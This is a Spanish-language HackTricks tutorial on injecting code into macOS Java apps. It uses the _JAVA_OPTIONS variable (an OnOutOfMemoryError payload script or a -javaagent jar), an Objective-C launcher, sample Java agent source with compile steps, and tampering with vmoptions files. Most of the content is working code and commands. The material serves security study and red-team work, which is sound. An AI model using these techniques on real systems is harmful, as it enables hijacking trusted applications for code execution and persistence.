hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md

8 KiB

Inyección en Aplicaciones Java de macOS

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Enumeración

Encuentra aplicaciones Java instaladas en tu sistema. Se ha observado que las aplicaciones Java en el Info.plist contendrán algunos parámetros de Java que incluyen la cadena java., por lo que puedes buscar eso:

# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

_JAVA_OPTIONS

La variable de entorno _JAVA_OPTIONS puede utilizarse para inyectar parámetros de java arbitrarios en la ejecución de una aplicación compilada en java:

# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

Para ejecutarlo como un proceso nuevo y no como hijo del terminal actual, puedes usar:

#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";

NSError *error = nil;

// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];

if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}

NSLog(@"File written successfully to %@", filePath);

// Create a new task
NSTask *task = [[NSTask alloc] init];

/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];

// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];

// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};

// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];

// Set the task's environment
[task setEnvironment:environment];

// Launch the task
[task launch];
}
return 0;
}

Sin embargo, eso provocará un error en la aplicación ejecutada, otra forma más sigilosa es crear un agente de java y usar:

export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

{% hint style="danger" %} Crear el agente con una versión de Java diferente a la de la aplicación puede provocar la caída tanto del agente como de la aplicación. {% endhint %}

Donde el agente puede ser:

{% code title="Agent.java" %}

import java.io.*;
import java.lang.instrument.*;

public class Agent {
public static void premain(String args, Instrumentation inst) {
try {
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
Runtime.getRuntime().exec(commands);
}
catch (Exception err) {
err.printStackTrace();
}
}
}

Para compilar el agente, ejecute:

javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar

Con manifest.txt:

Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

Y luego exporta la variable de entorno y ejecuta la aplicación java como:

export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

archivo vmoptions

Este archivo admite la especificación de parámetros de Java cuando se ejecuta Java. Podrías usar algunos de los trucos anteriores para cambiar los parámetros de java y hacer que el proceso ejecute comandos arbitrarios.
Además, este archivo también puede incluir otros con el directorio include, por lo que también podrías cambiar un archivo incluido.

Incluso más, algunas aplicaciones Java cargarán más de un archivo vmoptions.

Algunas aplicaciones como Android Studio indican en su salida dónde están buscando estos archivos, como:

/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions

2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions

Si no lo hacen, puedes comprobarlo fácilmente con:

# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal

# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio

Tenga en cuenta lo interesante que es que Android Studio en este ejemplo está intentando cargar el archivo /Applications/Android Studio.app.vmoptions, un lugar donde cualquier usuario del grupo admin tiene acceso de escritura.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: